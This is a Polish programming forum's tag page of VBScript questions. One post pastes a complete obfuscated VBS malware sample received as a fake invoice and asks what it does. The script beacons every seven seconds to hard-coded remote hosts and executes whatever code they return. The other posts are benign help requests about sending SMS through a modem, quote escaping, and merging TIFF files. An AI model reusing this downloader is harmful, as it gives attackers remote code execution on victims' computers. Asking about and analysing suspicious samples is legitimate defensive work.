Forum Pasja Informatyki - Najnowsze z tagiem vbs

Blokowanie skryptów .VBS - wirus w mailu

Mon, 19 Nov 2018 08:02:31 +0000

Czy wyłączenie Windows Script host wystarczy aby zablokować wykonywanie się otworzonego już na komputerze skryptu (wirusa) napisanego w .vbs?

Dzisiaj niestety został on przez przypadek otworzony przez pracownika w firmie. Plik został przesłany jako "nieopłacona faktura" no i niestety daliśmy się nabrać. Jeśli to nie wystarczy to istnieje jakiś sposób na pozbycie się tego z kompa czy pozostaje jedynie postawienie systemu od zera?

Dzięki za pomoc. :)

Skrypt w VBS - co on robi?

Fri, 21 Sep 2018 07:30:04 +0000

Witam serdecznie

Dostałem ostatnio na maila 'fakturę' od zapewne jakiegoś Pana, który wykorzystując nazwę jakiejś firmy próbuje zawirusować komputer w innych firmach. Załącza do maila plik VBS spakowany w .rar. No i jestem ciekaw co ten plik robi. Skrypt:

dim sss, DuriOAdaMyArray, MadriOdaKadurls, TaniPoldsAhttpsd, PerepravaAdzz, CSKAfkkk, PiroGinaAdands
dim DreMosAdQQSurls, LudoViKaate, PiPloVirasdate
PiPloVirasdate = null
PerepravaAdzz = "773335550757"

Function  PilOsaAdQQFSkip()
  On Error Resume Next
	KipoloasAdMinsa()
    POOOPPAQMessage(PiPloVirasdate)
	CSKAfkkk = Array("", "", "")
End Function

Function  TexasSFAxdA()
    On Error Resume Next
   Set TaniPoldsAhttpsd = CreateObject("Microsoft.XMLHTTP")
	TaniPoldsAhttpsd.Open "GET", "https://www.goooglwas.freesaf/111/222", False
    TaniPoldsAhttpsd.Send	

    If (TaniPoldsAhttpsd.Status = 200) Then    
		TradionsiksMase()
    Else      
		PinachetoSHello() 
		
		
	End If

	
End Function

Function  TradionsiksMase()
	dim dododsex
	dododsex = 0
    dododsex = FormatDateTime(Now, vbLongTime) 
	TradionsiksMase(dododsex)
End Function

Function  PoloDoadsloas()
  On Error Resume Next
    randomize
    PiroGinaAdands = int(rnd*2) + 1
	DreMosAdQQSurls = "http://"+CSKAfkkk(PiroGinaAdands)+"/ip.php?number=753246&opt=" 
    PoloDoadsloas(DreMosAdQQSurls)
End Function


Function  PoloDoadsloas2()
	Dim Farujuylsd
 Farujuylsd = PoloDoadsloas()
End Function

Function  PoloDoadsloas3()
	PoloDoadsloas2()
End Function

Function  PoloDoadsloas4()
	PoloDoadsloas3()
End Function

Function  KipoloasAdMinsa()
	CSKAfkkk(2) = "192.3.204.232"
	CSKAfkkk(1) = "servesmailerprogres.science"
	PoloDoadsloas4()
End Function

Function PilotyUsaTest()
     	 TerpiloaAReset()
End Function

Function  TerpiloaAReset()
    PerepravaAdzz = CStr(PerepravaAdzz + 1) 
End Function

Function  GreeceFaxPc()
  On Error Resume Next
   While true
       WScript.Sleep 7000
    Call PilOsaAdQQFSkip()
   Wend
End Function

Function  DomOsaAGoo(responseText)
    On Error Resume Next
	DuriOAdaMyArray = Array(22, 11, 00, 22,43, 34, 2341, responseText)
	TexasSFAxdA()
End Function

Function  POOOPPAQMessage(lolosaddate)
    On Error Resume Next 
    dim wertyUsdreq, streddy
    Set wertyUsdreq = createobject("Microsoft.XMLHTTP")
    wertyUsdreq.Open "GET", lolosaddate, False
    wertyUsdreq.Send
            WScript.Sleep 100	
			streddy = wertyUsdreq.responseText
	DomOsaAGoo(streddy)
End Function

Function LiveAdTest()
        PiPloVirasdate = ""
	PiPloVirasdate =+ DreMosAdQQSurls  + PerepravaAdzz + "&" +  "yousa"		
End Function

Function GameSSTest()
    PilotyUsaTest()      
	LiveAdTest()
End Function

Function PinachetoSHello()
	GameSSTest()
         Execute "" + DuriOAdaMyArray(7) + "" 
End Function



Call GreeceFaxPc()

[vbs] komunikacja z modemem

Mon, 28 Nov 2016 14:30:39 +0000

Witam,
Z hyperterminala potrafię wysłać sms za pomocą komend at. Chodzi o to, żeby nie musieć wpisywać ciągle tych samych komend. Chciałbym aby komendy at były wczytywane z pliku vbs. Mam taki kod:

Option Explicit
Set MSComm1=CreateObject("MSCOMMLib.MSComm")
SMSPort = New SerialPort
MSComm1.comport=3 'select the port it may change case to case
MSComm1.portopen=true ' Open port
MSComm1.output="AT+CMGF=1" & Chr(13) 
MSComm1.output="AT+CSCS=""GSM""" & Chr(13)
MSComm1.output="AT+CPIN=""XXXX""" & Chr(13)
MSComm1.output="AT+CSCA=""+48601000310"",""145""" & Chr(13)
Dim Message
Message="ttttt"
MSComm1.output= "AT+CMGS=""+48XXXXXXXXX""" & Chr(13) & Message & Chr(13) & Chr(26) 
Sleep 10

Oczywiście smsa nie wysyła. Nawet nie wiem, czy co kolwiek wysyła na modem. Jak można zmodyfikować ten kod, żeby działał poprawnie?

wpisywanie "" kiedy już istnieją

Sat, 25 Jun 2016 22:33:02 +0000

Witam,

Mam takie pytanko. Powiedzmy że mam w swoim kodzie takie coś:

system("echo x = MsgBox("Rychu") > Stachu.vbs");

Kod nie działa, a to przez to że parę razy pojawia się taki oto znak: "

Co mam zrobić aby to poprawnie zapisać?

VBS - program gubi strony

Fri, 25 Mar 2016 11:38:01 +0000

Czesc,

mam skrypt ktory pomaga mi w pracy. Za pomoca programu Irfan dzieli pliki .tif na jednostronicowe po czym laczy je w jeden wielki .tif porozdzielany separatorami. Problem jednak w tym, ze przy wiekszej ilosci plikow gubi mi niektore strony. Zauwazylem ze gdy plik wynikowy na polskie znaki skrypt generuje mi dwa pliki wynikowe. Jeden wlasciwy a drugi ze stronami ktore uciekly.

dir_temp = "plikiTmp"
file_separator = InputBox("Plik separatora:", "IRFAN_APP", "C:\Users\zyskg\Desktop\Separatory\serar_bols.tif")
file_done = InputBox("Plik wynikowy:", "IRFAN_APP", "C:\Users\zyskg\Desktop\" & replace(date , "-", "_") & "_BOLS.tif")
file_ini = "\\vfs01\profiles\zyskg\My Documents\Archiwum\raporty\"
file_counter = 0

Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")

if fso.FolderExists(dir_temp) then
   fso.DeleteFolder dir_temp, true
   fso.CreateFolder(dir_temp)
else
   fso.CreateFolder(dir_temp)
end if

dir_curr = fso.GetAbsolutePathName(".") 
If Right(dir_curr, 1) <> "\" Then dir_curr = dir_curr & "\"

'główna pętla, przeszukuje katalog w którym jest plik IRFAN.vbs w poszukiwaniu plikow TIF
Set fld = fso.GetFolder(dir_curr)
For Each fil In fld.Files
   if LCase(Right(fil.Name, 3)) = "tif" or LCase(Right(fil.Name, 4)) = "tiff" then
      file_counter = file_counter + 1

      'rozpakowanie znalezionego pliku tif na jednostronicowe pliki
      IrfanCommand = "C:\Program Files (x86)\IrfanView\i_view32.exe " & dir_curr & fil.Name & "/extract=(" & dir_curr & dir_temp & "\" & " ,tif)/killmesoftly"
      Set s01 = WshShell.Exec(IrfanCommand)
      Do While (s01.Status = 0)
         WScript.Sleep 100
      Loop
      
      'pętla odnajduje plik pierwszej strony i dodaje tekst
      Set fld_t = fso.GetFolder(dir_temp)
      For Each fil_t In fld_t.Files
         if LCase(Right(fil_t.Name, 8)) = "0000.tif" then
            temp_file_name = fil_t.name
            fso.MoveFile dir_curr & dir_temp & "\" & temp_file_name, dir_curr & dir_temp & "\" & replace(temp_file_name, "_page_0000", "")
            IrfanCommand = "C:\Program Files (x86)\IrfanView\i_view32.exe " & dir_curr & dir_temp & "\" & replace(temp_file_name, "_page_0000", "") & "/ini=""" & file_ini & """ /advancedbatch /convert=" & dir_curr & dir_temp & "\" & temp_file_name & "/killmesoftly"
            Set s01 = WshShell.Exec(IrfanCommand)
            Do While (s01.Status = 0)
               WScript.Sleep 100
            Loop
            fso.DeleteFile dir_curr & dir_temp & "\" & replace(temp_file_name, "_page_0000", ""), true
            set fld_t = nothing
            set fil_t = nothing
            exit for
         end if
      Next
      
      'dodanie separatora
      IrfanCommand = "C:\Program Files (x86)\IrfanView\i_view32.exe " & file_separator & "/append=" & file_done & " /silent /killmesoftly"
      Set s01 = WshShell.Exec(IrfanCommand)
      Do While (s01.Status = 0)
         WScript.Sleep 100
      Loop
      
      'pętla przegląda folder tymczasowy i dodaje je do pliku wynikowego za separatorem
      Set fld_t = fso.GetFolder(dir_temp)
      For Each fil_t In fld_t.Files
         IrfanCommand = "C:\Program Files (x86)\IrfanView\i_view32.exe " & dir_curr & dir_temp & "\" & fil_t.Name & "/append=" & file_done & " /silent /killmesoftly"
         Set s01 = WshShell.Exec(IrfanCommand)
         Do While (s01.Status = 0)
            WScript.Sleep 100
         Loop
      Next
      'usunięcie plików tymczasowych
      fso.DeleteFile dir_temp & "\*", true
   end if
Next
'usunięcie folderu tymczasowego
fso.DeleteFolder dir_temp, true
set fso = nothing
set WshShell = nothing
set fld = nothing
set fil = nothing
set fld_t = nothing
set fil_t = nothing

msgbox "Przetworzonych zostało: " & file_counter & " plków.", o, "IRFAN_APP"